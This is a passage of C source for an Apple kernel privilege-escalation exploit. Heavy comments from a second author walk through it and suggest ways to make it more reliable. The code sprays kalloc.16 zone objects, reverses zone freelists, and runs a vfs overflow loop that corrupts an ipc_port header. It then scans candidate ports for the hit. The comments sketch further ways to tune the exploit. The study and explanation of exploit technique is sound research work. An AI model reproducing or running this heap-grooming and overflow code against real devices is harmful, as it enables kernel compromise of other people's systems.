// Stash them away so they can be freed later
initial_early_kallocs[next_early_kalloc++] = p;
}
// 3 page worth of sprayed ports
for (int i = 0; i < ports_per_zcram; i++) {
// What are these middle ports used for? We'll soon find out I guess.
mach_port_t port = alloc_middle_port();
}
}
// now we hopefully have a nice arrangement of repeated fresh 'k.16 | ipc_port' pages
// to understand this next bit it's important to notice that zone allocations will come first
// from intermediate (partially full) pages. This means that if we just start free'ing and
// allocating k.16 objects somewhere in the middle of the groom they won't be re-used until
// the current intermediate page is either full or empty.
// this provides a challenge because fresh page's freelist's are filled semi-randomly such that
// their allocations will go from the inside to the outside:
//
// | 9 8 6 5 2 1 3 4 7 10 | <-- example "randomized" allocation order from a fresh all-free page
//
// this means that our final intermediate k.16 and ports pages will look a bit like this:
//
// | - - - 5 2 1 3 4 - - | - - - 4 1 2 3 5 - - |
// kalloc.16 ipc_ports
// if we use the overflow to corrupt a freelist entry we'll panic if it gets allocated, so we
// need to avoid that
// the trick is that by controlling the allocation and free order we can reverse the freelists such that
// the final intermediate pages will look more like this:
//
// | 1 4 - - - - - 5 3 2 | 2 5 - - - - - 4 3 1 |
// kalloc.16 ipc_ports
//
// at this point we're much more likely to be able to free a kalloc.16 and realloc it for the overflow
// such that we can hit the first qword of an ipc_port
// ↑ Wow. That's a pretty genious plan.
// free them all, reversing the freelists!
//
// By freeing them in the same order as they were allocated, we create a freelist that caves inward.
// This creates 240K worth of free chunks, but I think that's not enough to trigger to Garbage Collector, so we don't have to worry about GC.
for (int i = 0; i < next_early_kalloc; i++) {
// This will receive the message, hence, deallocating the sprayed kalloc.16 chunks.
discard_message(initial_early_kallocs[i]);
}
int HOP_BACK = kernel_page_size == 0x4000 ? 16 : 30;
// We're gonna refill those pages, because the following overflow logic requires all of the interacting kalloc.16 and ipc_port pages to be completely full with zero free holes.
// It doesn't go all the way back to the beginning, because during the beginning of the heap grooming, the sprays were busy filling in already existing random holes, so
// ideally we want the HOP_BACK page to point to a region which we're completely sure that the kalloc.16 and ipc_port pages are criss-crossing. Don't go too far back or
// else we'll start picking up the initial random holes.
for (int i = 0; i < INITIAL_PATTERN_REPEATS - HOP_BACK; i++) {
for (int i = 0; i < kallocs_per_zcram; i++) {
mach_port_t p = kalloc_16();
// Almost all of these sprayed kalloc.16 chunks won't be freed and will stay in memory during the rest of the exploit
middle_kallocs[next_middle_kalloc++] = p;
}
}
// This is going to hold the overflown, corrupted port. It is the most important port and will be abused throughout the entire exploit.
mach_port_t target_port = MACH_PORT_NULL;
// Hopping back a couple pages we can be pretty sure that an ipc_port page will be behind the current kalloc.16 freelist pointing page.
// The following calculates the aproximate range of where the overwritten port lies in. The reason why we know this range is because we are consecutively creating kalloc.16 and ipc_port pages in a fixed pattern,
// and we know exactly how much pages we have hopped back for kalloc.16(HOP_BACK). We can calculate an approximate range for where the overwritten target ipc_port would lie in, by assuming the extreme
// minimum/maximum cases for the last allocation of kalloc.16 and ipc_port before starting to hop back. (i.e. The last allocated kalloc.16 is the first item in the page and the last ipc_port allocated
// is the last item in the page : case 1. case 2 is opposite. This should give the min/max range, and that's what's being calculated below)
int first_candidate_port_index = next_middle_port - ((HOP_BACK+2)*ports_per_zcram); // 32 35 +2
int last_candidate_port_index = next_middle_port - ((HOP_BACK-2)*ports_per_zcram); // 28 25 -2
//sched_yield();
// wait a second
// this is a load-bearing sleep - this works better than sched_yield
// we want this loop to be as fast as possible, and ideally not get pre-empted
// don't remove this :)
// ↑ load-bearing? I'm not entirely sure what he means by this.
// Using my imagination, I think when the program voluntarily stops using the CPU for a (prolonged) 1 second, then when the kernel gets a timer interrupt and the task resumes,
// it moves up the priority list and hence more time slice from the scheduler because it has forfeit the CPU for quite a long time. I'm gonna have to look through the
// scheduling algorithm one day to fully understand the benefits of this.
sleep(1);
// Like Ian mentioned, he wants an absolute minimum interference in heap-feng-shui during this loop. This loop seems critical to the vuln exploitation. Let's see what's going on.
for (int i = 0; i < kallocs_per_zcram; i++) {
// If you start overflowing from the edge of the last middle_kallocs, then you are most likely going to overflow into a free block. See the freed blocks :
// | 1 4 - - - - - 5 3 2 | 2 5 - - - - - 4 3 1 |
// The "-" are freed blocks. If (4) overflows, then a - will be destroyed, resulting in a panic. Therefore, we steer away to the clear by moving away -20 chunks.
mach_port_t kp = middle_kallocs[next_middle_kalloc-20-1];
next_middle_kalloc--;
// Frees a kalloc.16 chunk(for a brief moment).
discard_message(kp);
// Beautiful. Absolutely intriguing. Now let's look at the diagram again.
//
// | 1 4 - - - - - 5 3 2 | 2 5 - - - - - 4 3 1 |
// kalloc.16 ipc_ports
//
// The number are the allocated chunks, and the "-"s are freed blocks. Remember that we steered away from the edge of allocated blocks(4 and 5, etc.) by -20.
// And see the logic above and below. It's moving backwards in freeing, and it's filling the freed object again immediately(see "replacer_f").
// The order of the alloc & free logic :
// Free (3) -> do_vfs_overflow allocs kalloc.16 into (3) and overflows -> do_vfs_overflow frees the (3) kalloc.16 chunk -> kalloc_16() below refills (3)
// Now imagine what happens on each iteration of the overflow. Does the overflow ever, in any single iteration, overflow into a free chunk?
// NOT EVEN ONCE.
// It either overflows into an existing kalloc.16 chunk, or... it overflows into the very first ipc_port in the page that holds the ipc_ports!
// It never overflows in the freelist in any occasion.
// This ensures that the overflow, no matter how many times it happens, will not be harmful, and at the same time guarantees that it will overflow into one of the ipc_ports,
// because it loops "kallocs_per_zcram" times, so one of them is *bound to* overflow into an ipc_port.
//
// And also this explains why Ian is so keen to have this loop not be pre-empted. The actually overflow happens in this loop, and it happens hundreds of times, so it's best
// to have this loop not be interrupted by random kallocs by other processes.
//
// before we proceed further, we need to talk about the vulnerability and what the overflow gives us. Let's dive into this function.
do_vfs_overflow();
// realloc
//
// This combined with the above makes a perfect "safe overflow" primitive.
// Actually, we can't call this completely safe though. Consider the case where the CPU pre-empts, and another process kalloc.16's a critical object right in the place of chunk(4) before
// "replacer_f" fills in. Then when the overflow happens on chunk (1), then the critical object will be clobbered and the system will most likely panic. I am not entirely
// sure how much the reliability is for this overflow loop cause I didn't run it on a real device yet, but nevertheless, it is an awesome technique. :)
mach_port_t replacer_f = kalloc_16();
// loop through the candidate overwrite target ports and see if they were hit
// we can detect this via mach_port_kobject; if we know the name we pass it is valid
// but we get KERN_INVALID_RIGHT then we cleared the io_active bit
// ↑ Like Ian says, this is a way to see check if NULL has been written to the beginning of an ipc_port object.
for (int j = first_candidate_port_index; j < last_candidate_port_index; j++){
// We don't know exactly which one of the middle_port was overwritten, so we could just iterate through all of them, but we don't want to do that.
// We want to go through this loop as fast as possible with minimum amount of iterations. Thankfully, we have already calculated the min/max range of the target ipc_port object above, so we only have
// to search through this range.
// In the README, Ian mentions that this loop and the above heap preparing logic is the most problematic. That's why the spinners exist to lower other process interference, but it's not completely avoidable.
// It's like a race between this process's heap feng-shui and all the rest of the processes. These kind of situations are sometimes avoidable with creative ideas, or by targetting
// a less busy kalloc zone(if the bug has tolerance to move to another zone). This bug's nature is that it can only be activated when the "attrBufferSize" is 16, hence, it's tied mandatorily
// to the kalloc.16 zone. So it's unlucky for this bug, but it has to cope with it and work on an extremely busy kalloc.16 zone.
// It looks like a very interesting(and at the same time, painstaking) task to enhance the reliability here, because I've experienced a few pretty exotic situations
// in the past and had to think of creative ways to overcome them(such as 2 threads racing where I don't have any control to interfere, and both of them race-heap-feng-shuing
// on the same heap where one of them is overflowing continuosly, and requiring the process to survive while succeeding in the overflow into the target object).
// One thing that I might have tried is the "zalloc() timing attack" presented 3 years ago from Luca Todesco. It could help narrow down the range of the last kalloc.16 chunk on the page,
// and also the range of target ipc_port(assuming the zalloc() timing attack still works). If it does work, then I think it could also be used to determine when exactly the
// CPU has handed over execution to another task.
// Or another way is to just carefully place "sched_yield()" in the right locations within this loop, because we know when exactly free-alloc-overflow-free-fill happens on
// these lines of code, so we could actually draw out all possible scenarios where a rogue kalloc.16 allocation will race in and leave a free block in one of the kalloc.16
// chunks. If we're lucky, just fiddling around with sched_yield() here and there would do the trick.
// Or maybe... let's say there's a "free chunk storage spot" called FCP. We will spray a bunch of kalloc.16 chunks way early in the beginning of the sploit, and call this FCP.
// We could determine by empirical testing on the minimum schedule slice that this exploit task will be given. We will place several "sched_yield()"s so every code block
// between those "sched_yield()"s will be executed within that minimum schedule slice. Now before executing each "sched_yield()", we would deliberately free a couple chunks(let's say 10)
// inside FCP so they will be added to the freelist. The reason why we're doing this is to take care of rougue kalloc.16 allocations created by other processes.
// When the other process allocates a rogue kalloc.16, it will pick up a free block within FCP. It could probably free it right away, or hold on to it for a little bit. When our
// exploit task picks the CPU back up, first thing it'll do is spray 10+5 kalloc.16 blocks. This will not interfere with our middle_kallocs, because there are no free holes
// within them(actually, there are holes for very brief moments. Maybe placing sched_yield() just before the creation of those free holes would work). So basically, it's
// a placeholder free chunk storage technique that could cope with rougue allocations.
// Or maybe... you could just let the spinners constantly spray kalloc.16 chunks only when the master loop is running. This will drasitically reduce the success rate of
// overflow into ipc_port, but at the same time it reduces rougue kalloc.16 chunks landing into the middle_kallocs. Usually when I approached a problem this way, there
// was a "sweet spot" where the success rate is high enough, and the fail rate is low enough. This kind of sweet spot technique is good for POCs, but you would have to
// tinker with it on every different device, and also it could change when the device is busy(listening to music), so it's not recommended...
// Another way to rely on luck is to just increase the number of spinner threads by ten fold. Maybe that would make all the rogue allocations go away out of pure serendipity!
// Assuming this problem is solved, there is another problem. What if ipc_port page is not right after kalloc.16...? It could happen. Allocations from other processes could
// have filled up the freelist and create a new page right after our middle_kalloc page. If we were to overflow into that page and the first chunk in that page contains a
// free chunk or a critical object(i.e. first QWORD is vtable), then the kernel will panic. This problem is luckily easily solvable, with a bit of work. First, we need to
// assume that any chunk of any size could create that rougue page. We could, for instance, use the above mentioned FCP technique. Create a loooooooooooooong freelist for every
// single kalloc.X that exists in the system(we could probably leave a single allocation in every page for the page to not be garbage collected), and then finally initiate
// the heap grooming. Now, any interfering kallocs that are not kalloc.16 or ipc_port will be placed inside that placeholder freelink, and not disturb during the
// heap grooming process. It doesn't really matter if the rougue pages get created *after* the interleaving page heap grooming, cause all that's important is the kalloc.16 and
// ipc_port page order. During the overflow loop, the other allocations don't interfere in any way. Only the rougue kalloc.16 allocations are deleterious during this loop.
// So yeah, you need to deal with these problems 1. rougue kalloc.16 alloc/free during this loop. 2. Other allocations that would mess up the page order.
// While solving these 2 problems, problem 3 might pop up. And problem 4 too...
// All of this requires a lot of empirical testing until you find a method that is reliable enough. To debug this, I would first get the kernel task port with this exploit,
// and then I would re-do this whole process right after this loop excluding the overflow part and replacing it with just a kalloc/free, then read kernel memory with
// the kernel task port and check if the allocation order is always the same. I would introduce fixes based on the above ideas or other new ideas if there is a messup,
// then I would re-check it, and this cycle will go on and on until the allocation order is always the same for like 50 iterations. I would do the same to solve the
// rogue kalloc.16 problem. Also, I would check if the zalloc timing attack still works because it would serve as a useful tool for various purposes.
// But still, the best way would be to totally avoid these problems altogether by using a completely different exploitation technique.(Find a kalloc.16 object where if
// the first 8 bytes are wiped out to NULL, then something useful happens...?)
// Okay enough pondering on this problem, let's move on...
mach_port_t candidate_port = middle_ports[j];
kern_return_t err;
natural_t typep = 0;
mach_vm_address_t addr = 0;
// How does this function check which ipc_port object has been overwritten? For this, we need to see the object's definition :
/*
struct ipc_port {
struct ipc_object ip_object;
struct ipc_mqueue ip_messages;
...
...
struct ipc_object {
ipc_object_bits_t io_bits;